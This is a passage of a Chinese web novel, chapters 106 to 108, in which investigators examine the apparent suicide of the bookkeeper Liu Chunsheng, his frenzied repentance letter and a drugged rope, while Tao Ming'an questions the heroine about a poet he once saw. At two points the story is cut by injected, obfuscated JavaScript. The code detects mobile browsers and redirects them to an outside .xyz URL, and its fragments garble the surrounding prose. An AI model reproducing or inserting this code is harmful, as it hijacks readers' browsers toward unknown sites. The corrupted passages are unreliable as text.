说话尾声间,杜明堂又垂眸看向了手中那张象征厄运的画帛,失落回去,道:“我先跟我爹娘聊聊这事吧。” “对了,你不是让我爹在府里寻松香的下落吗?” 关阇彦差点都快忘了这桩事,忙道:“什么结果?” 杜明堂摇头:“全无下落,府里上下都知道我爹有这方面的敏疾,没人用,寻日都用其他的脂油啥的替代了。” 案子难查,这个结果其实在关阇彦的意料之中,他应了:“行,我知道了。” 106. 阴魂不散 陶明案那头效率果然很高,不过五日,他便寻到了杜宅多少人马,都觅不到蛛丝马迹的刘翁下落。 他那头传信过来,交流的地点没有再选在芳樱楼。 陶明案跟章念那头貌似很着急,但信上不方便说明白,只是特地交代,让关阇彦等人直接去京中城西金粱桥夹道的一处“金梁米市”见面。 杜府所在的仁寿坊位于皇城东侧,而城西的金梁桥近于城郊,煞是遥远,因此陶明案也不浪费双方人马互相兜转的时间,早些时间就往那头赶路了。这才叫关阇彦等人直接往城西出发。 关阇彦本不打算再捎上魏郁春,毕竟在他所认为的观念里,接下来的事都与魏郁春没有了关系,事情冒险的地方很多,他属实没有那等闲工夫再照顾她。结果,陶明案却来信,点名道姓,要他把“冯姑娘”一起带上,好似没了魏郁春,他就不踏实似的。 可能在陶明案的认知里,魏郁春亲眼见证了如意冰玉瓶的现世的过程,又是亲自打开箱匣揭开秘密的人,她就跟冰玉瓶本身一样重要。 不过这也是说得好听罢了,实际上,陶明案信不过关阇彦,又意识到魏郁春好似能压得过他的气焰,这才出此下策。 陶明案没想到,他此举,正合了魏郁春的心意。 她猜到关阇彦不可能会在下次跟陶明案交易会面的时候,再带上她。本就饱受母亲身死折磨、又纠结是否继续跟进此事的她,因此抓心挠肺多时,不想再看到关阇彦的她,甚至在这五日频繁走动在府内,有意要找关阇彦的身影,深怕他背着自己另有动作。 这弄得关阇彦也十分不解,差点还以为魏郁春这是对他“旧情复燃”了,实际上,这根本就是无稽之谈。 他受到传信后,带上了魏郁春一起,魏郁春深知这是陶明案的手笔,内心有所触动,对此人更是欣赏有加了。 于是,关阇彦、魏郁春跟杜明堂早早搭了车,但光是赶路就消了大半天。 到城西金梁桥时,外面日光高照,疑似日中。 打听了金梁米市的地段后,他们才知,这里在不久前出了命案,不过事情闹得不大,因为那死去的人是自杀的,凶不凶手的也无处可查。那人尸体也早早被处理干净了。 三人闻言,内心预感不妙,但也多少知道了答案——死的人,八成就是刘春盛了。 怪不得陶明案那头急急忙忙,要他们快马加鞭过来呢。 金梁米市处在一条街道的头口处,深入进去,便是一片又一片的居民楼,错落有致着。午时间,浓厚的饭香气随着袅袅炊烟飘出家家户户,荡漾在温馨的宅院群里,即便此地不够富裕,朴实得有些过了头,民生烟火之气却有着无法替代的魔力,比起京中的繁华,这里更别有一番风味。 两个带着挂着长帘竹帽的男人拎着一个带着浅绿色面纱的女子,穿梭在巷子间。即便不露真容,他们身上带着的骄子之气还是足够吸引行人的注意力。议论纷纷间,他们看到了不远处正一筹莫展的陶章二人。 杜明堂挥挥手,章念回了个大大咧咧的笑容,一点也不矜持。 行人们这才反应过来:“哟,原来又是来调查那刘翁死因的人。那刘翁自缢的,人尽皆知的事了,有什么好查的啊?” “不懂不懂。” 陶明案见人多眼杂,不便讲话,便自请道:“诸位先跟我去刘春盛的屋子吧。” 刘翁的宅子挤在金梁米市后延申出来的万千街巷的其中一个角落里头,有些偏僻,他的地盘小得可怜,好似仅有两畔屋子的一半宽。一不小心,就能走错,走过了。 陶明案来得早,这个地方他也熟悉了好几便,该有的证物,他都提前整理好了,就等另一方人过来确认,十分靠谱。关阇彦也不禁乐呵,跟陶司直这种人合作起来,的确很省心。 陶明案绝不浪费时间,开门见山:“有冯姑娘做见证,阁下是不好反悔的。” 关阇彦笑了:“陶司直,我虽为人圆滑,却不至于坑骗人。” “喏,我已经把有关的消息写下来了,待会儿交予你,你慢慢核实便是了。” 他从袖中拿出一张折叠得整齐的宣纸,背面洇了留字时下浸的墨汁。 陶明案瞥了一眼,然后点头,似是好不容易才相信了对方的为人。他另起话题:“先谈刘春盛的事。” 说罢,他抬手拍了拍身侧章念的肩头。章念赶忙从衣襟里头的兜儿里掏出一桩案呈,直接送到了关阇彦手里头,杜明案跟魏郁春皆凑到他身边去,看看里头写了什么玄机。 案呈上言简意赅地写了刘春盛的生平记载,还有他死亡的时间、地点、死亡的方式,还有一些事发时的细节。 陶明案在一侧温声解释:“刘春望在前日深夜子时,突然自缢,尸体是在第二天早上才被发现的,城西官府的仵作来验了尸,确认无事后,简单记录了这些内容,当作案牍暂时收录在了卷簿。城西的消息传到皇城少则也要一两日,我今日在打听刘春盛的时候,刚好听说了此事,便提早来查案,结果来得晚些,尸体早已被处理。” “不过运气还不算太差,此人遗物还未被收缴,都被搜出来整理到了一处。” 杜明堂的眉头越锁越紧:“自缢了?” 陶明案万分肯定:“是。” “怎么会……”杜明堂自言自语,满心焦虑。 关阇彦也想起之前调查杜宅账房情况时,杜老爷跟他说过的一些关于刘翁的事。 刘翁妄图金蝉脱壳,设局离开杜宅,还欺骗别人说是要回睦州。只可惜,关阇彦嗅出了不对劲之处,便换了搜索范围,先试着叫人在京城寻找刘翁下落。 众望所归,刘翁真的没有离开京城。那就说明,京城里至少还有很多东西值得他留恋,比如幕后指使他的人,会许给他很多好处之类的。 所以,刘翁的死,对关阇彦跟杜明堂来说,都是一件匪夷所思的事。 最多的让步便是,刘翁是被人杀人灭口的。 可事实是,刘翁却是自缢而亡的。 魏郁春自知她是个格格不入的角色,她甚至根本不认识刘春盛,看着关阇彦跟杜明堂互相聊着眼前的事,她无从下口不说,甚至还觉得连站在此地都显得多余。 看着众人齐齐沉默,陶明案扬了扬眉,说出积累在心的疑窦:“刘春盛是杜宅的账房先生,而杜家刚好是京中商户,你们莫非是杜家人请来查案的?” 魏郁春更沉默了,因为陶明案直觉很敏锐,一下子就能猜出了事实。 “杜家人为何要请你们查安南都督的事?”章念听了也觉得奇怪了。 魏郁春看着眼前越发热闹的场面,眸色微亮,完全一副要看好戏发生的模样。 关阇彦 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15447449|169444||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 闻言,又刚好瞥见了魏郁春那隔岸观火般的眼神,他毫不客气地回视她一番,无畏无惧。 他道:“看来陶司直也不是个守规矩的人,还想着打听我们的事呢?” 陶明案回嘴:“这么说来,阁下这是被我猜中了心事吧?” 他们两个人莫名又生出一番要一较高下的斗势,气氛因此焦灼,叫人头疼不已。 关阇彦半点不慌:“答案都在那张纸上,陶司直若是着急想知道,怎么不先赶紧帮我们把眼前的麻烦解决掉呢?” 魏郁春貌似失望了,她眸色恢复正常,不冷不热地藏在了半垂着的眼帘下。 陶明案意识到,眼前这个男人是为数不多能燃起自己怒火的人,他秉承着君子不好斗的美德,拂袖而去,抛下冷面,把屋子中收拾起来的遗物带过来。 “最可疑的是两样东西,”陶明案一手拿住一个,“刘春盛用来自缢的麻绳上留有一股怪香,来路不明,疑似有致幻作用。还有其死前,留在柜中的这沓纸,是遗书。” 关阇彦先接过来那沓遗书。 方才还站在身后一副两耳不闻窗外事的魏郁春,看到他的动作,又忙不迭地够住脚尖,想要凑过去一探究竟,但她的小动作从来没能躲过关阇彦的眼睛。 在他目光逡巡于文字间时,嘴角挂住一个颇具嘲讽的冷笑:“怎么,突然对我的事情这么感兴趣了?” 魏郁春这几天真的奇怪,在外头巡回时的模样往往给他一种“阴魂不散”的既视感,那种暗戳戳的窥视感令他倍感不爽。可从前,她恨不得当场将他提出视野,一辈子老死不相往来。 这么明显的对比,魏郁春好似还当作无事发生,以为关阇彦不知道她的心思。 魏郁春被他怼住,不说话着,默默缩回脑袋呆到一边,但那双直勾勾的、带着怨念的眼神却还紧紧盯着关阇彦,果真是“阴魂不散”。 关阇彦拿她没辙,也不高兴理她了,把注意力全部放在了遗书上。 足足一沓纸,涵括了六七张的纸,上面都写着密密麻麻的字,小如蚊蝇,笔力虚浮,字里行间挤满了颤颤巍巍的慌张……定睛一看,上面的内容才是叫人汗毛直立的东西。 “今世猪狗不如,错在乱投人胎,千错万错皆是错。宁作恶糜烂肉供蛆蝇,食尿咽粪争命死。地府亡魂缢者贱,来世佛门不再开。甘愿自断前缘斩后根,求困炼狱还罪孽。魑魅魍魉莫纠缠,地狱黄泉不复见!魑魅魍魉莫纠缠,地狱黄泉不复见!魑魅魍魉……” 光是后面这一句“魑魅魍魉”,就重复着足足填满了后头剩下的几张纸的空白。 关阇彦跟杜明堂都看得神情复杂,甚至心里开始犯恶心,有种难以解释的庞大的怨气自天灵盖直直俯冲下来,即便移开目光,那种后怕感还像遗书上的“魑魅魍魉”一般,阴魂不散着。 这才是真正的阴魂不散,岂是魏郁春那小跟屁虫的伎俩能比的,对比下来,关阇彦竟对魏郁春的印象好了太多。 陶明案早就看过了遗书的内容,在旁人感叹之时,他不置可否着等待他们冷静回来。 至于章念这个缺心眼兼显眼包,他很是喜欢看热闹,已经看过内容的他,理应不该再有什么大反应,结果,他还跟着后头吵吵嚷嚷地叫哄:“什么乱七八糟的,就知道屙屎屙尿、牛鬼蛇神的,言辞何其粗鄙,他妈妈的不像话!” 107. 似曾相识 章念跳脱的语气将众人拉出沉闷的气氛,见大家的目光都看向自己,章念挠挠脑袋,觉得身上凉飕飕的,他尴尬附笑:“我只是想缓解一下气氛。” 陶司直同情地看了他几眼,好似在关爱一个缺智儿童,道:“做得好,章司务,不过下次不用了。” 众人不再管章念,杜明堂诡异地抬起头来,愁思久久不能释怀:“这遗书摆在这里,说明刘翁只可能是自尽的了。” 关阇彦跟魏郁春却又诡异地沉默了几许,他们好似都在怀疑其中的可信度,遗书跟死亡方式都是可以通过外力伪造的东西,光凭这些就断言刘翁是自尽,未免太小儿戏了。 陶明案瞧出他们的心思,补道:“刘春盛的确是自尽的,因为街坊邻居们都说过,此人不知从哪里搬住到了金梁米市巷,年迈无比,神志不清,常常夜晚趴着窗子又哭又嚎,吓得人们以为是夜叉出街。刘翁常常念叨说自己想死,却又苦于寻不到什么痛快的死法,而一直没有出事,谁都没想到,他会突然在前天夜里选择了自缢。” 这么看来,刘春盛的死就不可能是别人伪造的了。 这怎么可能呢?!街坊邻居口中的刘春盛如此陌生,跟杜宅里的完全不同,他何时说要自尽,又何时发了脑病神志不清了? 杜明堂一直不肯相信,可他知道,言多必失,要不然陶明案又该怀疑他为何敢如此笃定刘春盛另有异样了。 杜明堂的小心翼翼都被关阇彦看在了眼里,他倒是松了一口气,因为比起上次,杜明堂现在还知道收敛情绪了。 他也怀疑,刘春盛应该是出了杜宅后受了什么刺激,才会变成这样的。 他换了种说法,跟陶明案言述不理解之处:“在杜府呆了十年的账房先生,一失踪便患了疯病,甚是可疑。” 陶明案颔首:“他受了刺激。” 章念也道:“很不寻常的刺激。那遗书其实更像忏悔书,他貌似……是在跟鬼忏悔。” 说着说着,他不禁哆嗦一下,打了寒颤。 “千错万错皆是错……地狱黄泉不复见……” 魏郁春默默呢喃着,众人好似还没有心思接话,她寻到了当口,插道,“夫精念存想,或泄于目,或泄于口,或泄于耳。故而,神神鬼鬼之事,多半皆存想虚致,未必有其实也。” “刘春盛定做过一桩害了人命的错事,他心虚了,只是不知后来到底是什么东西利用了他的心理阴影刺激了他,长此以往,他不疯便怪了。” 因为,这些话对应的精神状态,跟在春桃酒宴上被刺激后的魏澜清一致,对方心虚、恼怒、恐惧等情绪交织不已,造就了宴后颓唐疯癫、遭人嫌恶的疯子。 这不也是刘春盛的状态么? 魏郁春的一语惊人令众人的目光又齐刷刷地转到了她身上,关阇彦纳闷:“你如此确信?” 她怎敢不确信?她微微一笑,不过是皮笑肉不笑,眼神疏离冰冷:“你以后自行验证看看,才知道是真是假。” 陶明案见证过她在春桃酒宴上大展身手的模样,也见过她初次面对他时临危不惧的模样,他心中其实很认可这位思路清明的女子。 他很认真地思考了她的话,觉得言之有理:“冯姑娘所言极是,令陶某茅塞顿开。” 章念傅会:“哎你别说,虽然冯姑娘的结论看似简单,但若要一下子精准刺中事情要害,其实非常不易。探案一事,最是讲究这个道理了。” 关阇彦敛眸,咳咳呛嗽了两声,有些不太妙的感觉回荡在胸腔,他有些不乐意——这陶明案看着跟块呆木头一般,实际上倒是很会拉拢人心嘛。 冯迎春的话好不好他难道不清楚?用得他来找补?好人全给他当了算了。 他觉得不服气,然后又看到魏郁春跟陶明案相视一笑的模样,怎么比刚刚回应自己时的样子截然不同?说心里平衡是假的。 他呵呵一笑,旋即道:“冯姑娘的想法其实与我一致,很是厉害,我方才不过是想试探一番罢了。” 杜明堂抽了抽嘴角,属实是无语了,关阇彦天生一副毒嘴,说得话越是刻意就越是毒辣。 听听这话是像夸人的吗?倒像是在抢人功劳,夸口自己的一样。要不是他了解他的性子,估计现在他也一起被雷到了。 杜明堂心想,要不是有个破帘子挡着了脸,他必要好好扶额抹脸一番以示没眼看,还忍不住腹诽:“我看这人还是改名算了,叫关毒烟更合适,讲句话跟放毒气似的。” 魏郁春刚温和的脸色一下子黑了回去。陶明案跟章念也是有些涩然,旋即岔开话题。 陶明案又将那条勒过刘春盛的麻绳抓过来递给关阇彦,思忖:“绳上的秘香是我从未见过的品类,近似麻散,但细嗅一番,一会儿像是普通的路边花香,一会儿像晒干了的米粉味。我将此交给仵作验针,也无果,想必此迷香只会在散香时起作用,用完后香气和毒气都会散逸而去,混淆外人判断,所以此香的来源难以追踪。” 章念很配合他的工作,他掏出自己平日里记载东西的本子,翻开一页,念道:“不过我查到,这种异香散于无形、干扰视听的特性跟戎域的香料近似。” 关阇彦顿住:“此事怎会与戎域扯上关系?” 陶明案:“所以我怀疑,此香兴许是有人故意留下来迷惑我们的东西。刘春盛实际上是遭刺激而疯亡,并非一场简简单单的自缢。刺激他的人虽然什么都不做,但他就是凶手。因为这种迷香在短时间内虽无法完全散去香气,但却令人无法确定它的来源,即便我们学识渊博,察觉到有关戎域的讯息,也很容易被带偏。若是我们发现刘春盛的时间再晚一日,这些香气就会彻底散去,和人间蒸发一般。” “所以凶手杀人于无形,并且有恃无恐。” 章念又补充了一个新鲜的知识:“你们若是想要追寻异香的源头,就只能去洞市了。此地是京中唯一一处可能聚集戎域商人的地方,藏于瓮城外的深山老穴,是非朝廷管控的非法之地。我跟陶司直前年还在大理寺办案的时,曾经查销过此地异族商人走私而来的毒药。” 提到洞市,章念本来极力压制的面色却控制不住地扭曲了起来,活似是如临大敌、死到临头。 他回想起来了什么,浑身打了个哆嗦,虚虚提醒一句:“那地方都是鬼,没一个精神正常的,都在里头被关傻了,看着再可怜都别多管闲事!” 陶明案将他拉到身后,继续说着:“还有灯市上的事情我们也查明白了,当晚的确有商贩给安南都督卖了灯,那商贩被找到了,是掮客假冒的,并且在灯市前就跟安南都督有了交集,所以他们是串通好了在那晚传递消息的。” “掮客,安南都督雇人做什么?” “掮客也不知道,他说,办事的武夫不是自己请的,他只是应安南都督的要求接了上一位掮客的班。每次仅负责将消息送到指定地区,等武夫们自己行动,其他的都不可过问。” 这段话很引人遐想。关昀洲特地要另聘掮客是做什么?他不肯信任这个掮客,还是说,因为上一位掮客消失了,所以他着急要找人代替? 但还是很奇怪,“办事的武夫不是自己请的”这句话太过耐人寻味,关昀洲作为主顾,不管是掮客还是办事的人,都得先经过他的安排不是么? 怎么这话听着像是,真正掌管主导权的人,不是关昀洲,而是那第一任掮客。 线索太少,关阇彦想不通,继续问:“假冒商贩的掮客是何时接任上一任掮客的?” “芳樱楼灯市是商贩掮客办的第一件事。” 关阇彦颔首。 陶明案已经将事情全部交代清楚了,他搬出来那只熟悉的如意冰玉瓶,然后把遗书跟带异香的麻绳一并交给了关阇彦等人。关阇彦也是说话算话,在杜明堂微微紧张的目光下,把那张写着讯息的纸条送达了陶明案的手中。 “等陶司直过目后,有意合作的话大可再寻我。”关阇彦坦言。 杜明堂想到了已成谜团的松脂下落,他问关阇彦:“不知这屋里有没有松脂的下落,不妨找找?” 关阇彦闻言,也开始将目光转移到了屋内的环境上。 眼看没自己什么事后的陶明案,也明显着急要走,章念跟着他身后一起跨离门槛。 在与魏郁春擦肩而过之时,陶明案忽地出声提醒:“不知冯姑娘可否借一步说话?” 当关阇彦回过神来时,魏郁春早就没了影儿,一瞥外头,竟是跟着陶明案一起去了外头聊天了。 他愠怒半刻,但觉得自己莫名其妙,以为是烦事太多扰了心境,他装模作样继续搜查起刘春盛的屋子。 屋外,饭香味扑鼻,白烟若溪,汩汩地漂流在半空中,万井人间烟火气从此具象化。外面晴光潋滟,微微抬头外盼,闲云点缀在湛蓝的天空上,一切都是那样祥和自在,与屋内那股难耐的沉压形成鲜明的对比。 魏郁春一身藕荷色纱绣素缎,长发轻轻挽着,落在左侧脑后,仅用一条素净的发带绑着,她未施粉黛,唯一有巧思的地方,还是上次为了参宴修过的柳叶眉。她脸颊粉嫩,比夏荷还甚之,饱额光洁,鼻子小巧圆润,唇瓣不点即丹,与春桃酒宴相比,现在的她反而更有韵味。 毕竟也是五日没见了,章念跟陶明案都有些尴尬,因为他们平日几乎不会跟女子讲话,而魏郁春又堪称绝色,气质儒雅淡洁,好似一枚不容玷污的宝玉。跟这样的女子对谈,怎么会没有压力? 魏郁春静静等着对方发话。好似只要一直不开口,她便可以一直待在这里与之僵持下去。 陶明案选择了不正视她,微微垂眸,但语气还是紧绷的:“先前酒宴上对姑娘多有得罪,事后忙着处理他事,未当面跟姑娘问候。不知,冯姑娘芳名为何?” 魏郁春微微侧了侧脑袋,好似不明所以,疏离的目光中出现了几分天真的疑色。 章念也讶住了,他这个从不近女色的好兄弟今日居然一反往常,主动跟女子搭话便算了,搭的话居然还是跟案子无关的事情。 要知道,男子打听女子姓名一事是很容易引起旁人遐想的,至于遐想的什么,大家不言而喻——八成是这位男子瞧上了这名女子了。 章念正是想到了这一层面,所以才万分惊讶。 他贼嘿嘿一笑,心想:“这陶司直也真是的,要做这等好事都不提前与我知会一声,我可不愿意做你们的站岗油灯。” 他很是识趣,想为他们制造二人世界。他趁陶明案不注意,默默退到了他身后,不知不觉间就没了影子。 陶明案发现了章念的离场,涩然的声音顿了顿,头疼不已,觉得这小子铁定是在胡思乱想了。 在他还不知道要怎么继续说话的时候,魏郁春答了他的话,她笑了,面色若春:“我叫冯迎春。” 出于礼貌,她既知道了人家的名字,就没有拒绝别人打听自己的理由。另外,她若是想要插足进来一起探案,又不好跟关阇彦杜明堂他们处好关系,陶明案为人正直又踏实,还处处帮衬了她,自是一个好人选。所以,她定要加强一番在他这里的好印象。 所以她的笑容分外明丽,完全是发自内心的。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15447450|169444||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 陶明案刚好敢于抬眼,抵住尴尬的压力的同时,他只觉得脖子间有股难以抵抗的热火往上升腾,它们烧红了他的耳根子。 他双手在袖下急速摩梭着,然后解释道:“我只是觉得以后若要有交际,一直不知道姑娘名讳很是不妥,姑娘莫要担心我是有其他的想法。” 魏郁春的眉眼更弯了,她觉得此人老实得厉害,他根本不是那种随随便便就起歪心思的人。 她当然也不会怀疑他,她点点头应他。 陶明案又道:“今日唤姑娘来,其实有私心,我有疑虑未解,所以想问姑娘个清楚。” “陶司直不必客气。” “春桃酒宴上,我虽未亲眼看到冯姑娘大展身手的模样,但姑娘的诗句却给我留下了很深的印象,并且……总给我一种熟悉的感觉。宴会尾声,机缘巧合下,我潜入花厅欲揭穿你的身份,那时你带着面纱,我未仔细看,但那种感觉却还是在日后几欲勾起我的疑心,越想越不对劲。” 魏郁春眉头一皱,因为这种类似于“我好像在哪里见过你”这样的话术,几乎是全天下男子追求女子时最风靡的借口。 说实话,哪里有什么“似曾相识”,都是“一见钟情”罢了。 她本不想揣测陶司直,可现下,她不得不起再起重新审视他的念头。 可陶司直还是那副紧着眉头,看着不苟言笑的模样,何来男女私情一说? 她一筹莫展,只好进一步问道:“陶司直为何这么问?” 陶明案叹气,好似预知到了自己百口莫辩的结局,那不如就破罐子破摔好了:“姑娘莫要介怀,我并无歹心。只是……我总觉得,我之前好似见过你。” 魏郁春疑惑:“可我并未见过陶司直。” “几日前我便想找姑娘问清楚,可惜那时公务繁忙,没有时间梳理回忆。可是,现在我想起来了,去年秋末,我便在朔州府。” 提到朔州府,魏郁春目光滞住,心中不断地喊出“不可能,那不可能”的话。 可陶明案的话萦绕在耳畔,推翻了她一切残存的念想:“朔州府是我的出生之地,秋末重阳,我回乡探望已故爹娘,驾马路过城中诗会,春生才女,面纱遮面。巷阙人满为患,马上驻留,远远看去,虽面容模糊,但身影挺拔若青松,言语明亮清脆。那些画面至今好似还历历在目。” 秋风微拂,天光灿烂,温暖风凉。 白纱掩面,包裹青竹般劲骨的水盈色长裙飘曳,少女声音纤细却毫不遮掩心中底气:“锁尘春生崖前草,撼动万里破扶摇。若吾诗卷藏萧萧,平生凡俗别朝朝。” 一首《春生》刹那间传动整场诗词会,少女的神秘,和她那寻常女儿家没有的少年气让无数年轻儿郎为之发狂,年轻才女也纷纷追寻少女的踪迹,希望与之成为诗友。 也令陶明案对此至今印象深刻。 他意欲再念出那首诗:“锁尘春生崖前草,撼动……” 魏郁春险些要热泪盈眶,她想不到,自己竟值得旁人纪念这么久,她一直以为,大家在乎的从来只是那一声声荣誉,可代表荣誉的“春生”头衔早已被人窃取,她到底还算得了什么呢? 在魏澜清光芒的遮掩下,众人记住的只会是“春生”,而不是去年那个风姿绰约、满身荣光的神秘少女了。 但陶明案还记得。 魏郁春忍住心中百感交集的情绪,眼眶微湿,看向陶明案的眼神,好似在看一位珍惜的知己:“你也是见过魏澜清的人,不会不明白,她才是春生才女,你为何要另外问我这些?” 陶明案微微诧异,亦是笑了,难得笑得这么风趣:“探案之人最忌讳看重眼前表面之事,我只相信我的直觉。只是我的直觉一直很准,要不然也不会思虑良久后,才会寻姑娘解题。” “不过,看姑娘的反应,好似的确不是我要找的人了。”陶明案主动替她解了围。 魏郁春不置可否,犹豫之时,觉得有种说不上来的奇怪感,正唆使着她改变对陶明案的印象。因为,若是换作任何一个人,但凡正常,都不可能第一时间就这么怀疑她的身份。所以陶明案是个很奇怪的人。 但,这种怀疑未曾令她感到恐慌,反而,她心间暖流不止,好似寻到了一丝继续面对生活的希望——这个世上,总会有人还记得她。她从不是孤身一人。 也许,她该自信一些。 几番对谈下来,二人又熟络了些,眼看陶明案还要继续聊些什么,其实早就站在屋边门扉处的关阇彦忽地出声了:“二位避着我在聊些什么悄悄话?” 魏郁春反应过来,及时打断了跟陶明案的交际,生怕任何蛛丝马迹被关阇彦发现,因为她不希望是他发现自己的身份。 她莞尔一笑:“我的确不是她,陶司直的疑虑可解了。” 陶明案大大方方地点头应了。 关阇彦快步路过他们身侧,果断拍了一把魏郁春的脑袋,催促她:“走了。” 魏郁春旋即甩开他的手,用眼神警告他不要对自己动手动脚。 章念终于知道出来了,他探出脖子,凑到陶明案耳侧,神神秘秘地嘟囔:“他们两个人什么关系啊?如此亲密。陶司直你可要加把劲了!” 陶明案莫名转身看他:“加什么劲儿?” 章念也莫名:“哈?你不是喜欢那姑娘么?” 陶明案斯文的表情好似瞬间裂成了碎片,他甩开袖子,忙不迭要走,多嘴道:“莫要胡说,玷了人姑娘的清白。” 背影可以骗人,但他耳根上重新燃上的烈红却骗不得人。 108. 瞒天过海 关阇彦在路过魏郁春身边前,语中含笑,形容自洽,可刚擦过身子,他的表情就突然沉压了下去,眉间阴阴郁郁,一副忧心忡忡的模样。 不过他的面容被席帽遮得严实,谁都不知道他在忧心什么。 杜明堂自出屋子后也一直板着个脸跟身子,走两步还要时不时叹息几声,频率奇高,像是得了哮喘。 魏郁春看他二人左一个右一个不好惹的样子,问什么也不会说,想想都够烦人,她索性自己闭了眸休憩。 魏郁春方一闭眼,关阇彦便将目光瞬间放在了她身上。看着她放下警惕心时的模样,他才好将那份热切的猜忌心展露出来。 其实,陶明案跟魏郁春以为方才,他是刚好在他们聊完后才出了屋子的。但在他出声前,他早已在门后听到了他们后半段的谈论内容—— “春桃酒宴上,我虽未亲眼看到冯姑娘大展身手的模样,但姑娘的诗句却给我留下了很深的印象,并且……总给我一种熟悉的感觉……” “可是,现在我想起来了,去年秋末,我便在朔州府……秋末重阳,我回乡探望已故爹娘,驾马路过城中诗会,春生才女,面纱遮面……锁尘春生崖前草,撼动……” “探案之人最忌讳看重眼前表面之事,我只相信我的直觉……” 他比陶明案更了解魏郁春,知道她的回复远远不似表面上听起来那么平淡从容——“我的确不是她,陶司直的疑虑可解了。” 如果心中无鬼,她为什么会有那种反应? 等等,关阇彦仔细回忆起与魏郁春在南禺相处的画面,第一印象中,此女淡漠疏离,好似一缕似有似无的清风,后来,他有一瞬间在她身上瞥见了熟悉感,但那时,他却怎么都想不起来与之关联的过往,等他回神,熟悉感已经不见,他也没有再对此上过心。 他的目光在魏郁春的脸上四处游走,越是看得仔细,就越是寻不出感觉来。 这陶明案是失心疯了,才会说她像春生才女吧?话是这么说,他却还是暗暗咬牙,不死心。 明明他也知道这是一件荒唐到不能再荒唐的事了,但他就是不肯输给陶明案,硬是要看看他到底在魏郁春上看到了何样的东西。 陶明案是因为春桃酒宴上魏郁春带着面纱的模样,才会觉得她跟春生才女有关联。 思及此处,他顿住,旋即抬起了一只手放在了纱外,悬在了对准魏郁春下半张脸的地方,手掌挡住了他一半的视野,他目不转睛地盯着魏郁春上半张脸看,试图将已逝的熟悉感寻回。 甚至,他将前不久方捕捉回来的年少记忆拿出来,与之进行对比,那个高坐阁楼的少女,声音甜脆,气质清丽,明媚若宝珠。眼中装满了对自由的渴慕,它们被蓝天浸染得如梦似幻。 那双眸子……与眼前魏郁春脸上长着的这对生得截然不同。虽然魏郁春闭着眸子,可关阇彦还记得她从前的眼神,暗含沉甸甸的悲色,生疏至极,和那少女眼中充斥渴慕与希望的眸色,更是截然不同得厉害。 他看得仔细,恨不得将她每个毛孔都窥透,他还是没有看出任何“春生”的影子。半晌后,他至多想到,也许二者相通的并非外表,而是那种才华四溢的气质么? 气质是虚无的东西,无影无形,朦胧婆娑,他盯着她的容貌看,当然看不出个好歹。 他在为自己找补的同时,心中怅惘,好似错过了一个揭晓天大秘密的机会,这种感觉压得他快要喘不过气来。可他到底要怎么去揭晓?魏郁春与她生得完全不同,性格也好似是一悲一喜的……等等……他苦笑起来。 他怎么突然就陷进去了? 他放下了手掌,眼眸回敛,他摸索着指腹,胸有成竹起来,心想:冯迎春原是南禺的傻女,这是板上钉钉的事情。真正的春生才女就在京城里,是关昀洲……也是他自己的未婚妻,怎么会是她呢? 他总是嘴硬,车马方停,他摇醒已经睡得不省人事的杜明堂,听到车马动静的魏郁春也随之清醒。 三人下马,外面天色翻转,已是夜晚。城西到仁寿坊的路程的确有些遥远。 关阇彦略有忌惮地偷乜了魏郁春一眼,然后以他要跟杜府老爷谈话为由,有意撇下她离去。 魏郁春明明看到他是拉着杜明堂离开的,心道他又要瞒自己事,她攥着拳头,在袖中无处伸展,望着他们的背影,她愤懑咬牙,实在气不过就暗骂:“总有一天,你会求着我回来。” 关阇彦脱下了席帽,一副庄重的模样把杜明堂吓得怔住,问:“是不是你刚刚在刘春盛屋子里翻到什么了?” “不对啊,屋内没有松香的味道,我们当时也的确没有发现此物,理应无事啊。”杜明堂暗忖。 说实话,当时杜明堂就是看着关阇彦在屋子里徘徊着,时不时弯腰伸手抽一把柜屉的,不一会儿就好了,不见得像是发现了什么大秘密一样。 但看关阇彦这副煞有介事的样子,感觉情绪早在路上就开始酝酿了,八成是什么案子线索勾了他的疑心。 但关阇彦一开口,就让杜明堂匪夷所思了:“五日了,春桃酒宴上的事应该也传开了,你派个家仆出去打听打听宴会上具体发生的事宜,主要看看魏氏魏澜清跟冯迎春纠缠的内容。” 杜明堂抽了抽鼻子:“你想这事想了一路?” 关阇彦大方承认:“嗯。” “你不是也打听了吗,冯迎春打败了魏氏,夺了诗魁。” “要细节,越多越好。” 杜明堂摸摸眉心,看看他的脸又看看他的动作,不像是在想闲事的样子,难不成这里头还有缺疑之处?他还是为了案子? 杜明堂顿时不感兴趣了,因为他本来还以为关阇彦这是为了冯姑娘吃了陶司直的醋呢。他不再周旋:“行。” 即便如此,关阇彦还是不肯松劲。他已经做好准备,决定在几日后的婚宴上,亲自会会魏氏,亲眼看看她生得是何样,与多年前阁楼上的少女有何差别。 只有这样对比下来,他才敢彻底放下对魏郁春的猜忌。 事已至此,便无需多提了。言归正传,他在刘春盛的屋里头,并非什么都没有发现。 刘春盛的床头柜下的抽屉里,躺着两株半枯的阳春菊。 又是阳春菊……杜宅刘春盛的厢房里头、芳樱楼埋尸坑中都有它们的身影。 这已经不是用区区“巧合”二字便可解释的事情了。 